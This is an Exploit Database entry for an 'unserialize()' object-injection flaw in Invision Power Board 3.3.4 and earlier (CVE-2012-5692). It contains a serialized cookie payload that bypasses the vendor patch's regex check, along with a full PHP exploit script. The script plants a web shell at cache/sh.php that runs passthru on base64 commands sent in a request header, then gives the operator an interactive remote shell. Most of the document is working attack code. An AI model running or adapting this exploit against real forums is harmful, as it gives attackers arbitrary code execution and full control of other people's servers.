Invision Power Board (IP.Board) 3.3.4 – Unserialize Regex Bypass

• Exploit Database
• 36 阅读

• 作者： webDEViL
  日期： 2012-11-07
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/22547/

• <?php
  /*
  
  So this is the patch that sanitizes,
  static public function safeUnserialize( $serialized )
  {
  // unserialize will return false for object declared with small cap o
  // as well as if there is any ws between O and :
  if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false )
  {
  if ( strpos( $serialized, 'O:' ) === false )
  {
  // the easy case, nothing to worry about
  // let unserialize do the job
  return @unserialize( $serialized );
  }
  else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) )
  {
  // in case we did have a string with O: in it,
  // but it was not a true serialized object
  return @unserialize( $serialized );
  }
  }
   
  return false;
  }
  
  
  And this is what bypasses it ( By @i0n1c )
  $payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}');
  
  Which makes this an IPB 0day. lulz!
  
  - webDEViL
  
  */
  
  /*
  ----------------------------------------------------------------
  Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution
  ----------------------------------------------------------------
  
  author..............: Egidio Romano aka EgiX
  mail................: n0b0d13s[at]gmail[dot]com
  software link.......: http://www.invisionpower.com/
  
  +-------------------------------------------------------------------------+
  | This proof of concept code was written for educational purpose only.|
  | Use it at your own risk. Author will be not responsible for any damage. |
  +-------------------------------------------------------------------------+
  
  [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php
  
  4015.static public function get($name)
  4016.{
  4017.// Check internal data first
  4018.if ( isset( self::$_cookiesSet[ $name ] ) )
  4019.{
  4020.return self::$_cookiesSet[ $name ];
  4021.}
  4022.else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
  4023.{
  4024.$_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];
  4025.
  4026.if ( substr( $_value, 0, 2 ) == 'a:' )
  4027.{
  4028.return unserialize( stripslashes( urldecode( $_value ) ) );
  4029.}
  
  The vulnerability is caused due to this method unserialize user input passed through cookies without a proper
  sanitization. The only one check is done at line 4026,where is controlled that the serialized string starts
  with 'a:',but this is notsufficient to prevent a"PHP Object Injection"because an attacker may senda
  serialized string which represents an array of objects.This can beexploited to execute arbitrary PHP code
  via the"__destruct()" method of the"dbMain" class,which calls the "writeDebugLog" method to write debug
  info into a file.PHP code maybe injectedonly through the$_SERVER['QUERY_STRING']variable,for this
  reason successful exploitation of this vulnerability requires short_open_tag to be enabled.
  
  [-] Disclosure timeline:
  
  [21/10/2012] - Vulnerability discovered
  [23/10/2012] - Vendor notified
  [25/10/2012] - Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update
  [25/10/2012] - CVE number requested
  [29/10/2012] - Assigned CVE-2012-5692
  [31/10/2012] - Public disclosure
  
  */
  
  error_reporting(0);
  set_time_limit(0);
  ini_set('default_socket_timeout', 5);
  
  function http_send($host, $packet)
  {
  if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
  fputs($sock, $packet);
  return stream_get_contents($sock);
  }
  
  print "\n+-----------------------------------+";
  print "\n| Invision Power Board 0day Exploit |";
  print "\n+-----------------------------------+\n";
  
  if ($argc < 3)
  {
  print "\nUsage......: php $argv[0] <host> <path>\n";
  print "\nExample....: php $argv[0] localhost /";
  print "\nExample....: php $argv[0] localhost /ipb/\n";
  die();
  }
  
  list($host, $path) = array($argv[1], $argv[2]);
  
  $packet= "GET {$path}index.php HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Connection: close\r\n\r\n";
  
  $_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ?$m[1] : '';
  
  class db_driver_mysql
  {
  public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php');
  }
  # Super bypass by @i0n1c
  $payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}');
  $phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>';
  
  $packet= "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Cookie: {$_prefix}member_id={$payload}\r\n";
  $packet .= "Connection: close\r\n\r\n";
  
  http_send($host, $packet);
  
  $packet= "GET {$path}cache/sh.php HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Cmd: %s\r\n";
  $packet .= "Connection: close\r\n\r\n";
  
  if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n");
  
  while(1)
  {
  print "\nipb-shell# ";
  if (($cmd = trim(fgets(STDIN))) == "exit") break;
  $response = http_send($host, sprintf($packet, base64_encode($cmd)));
  preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
  }
  ?>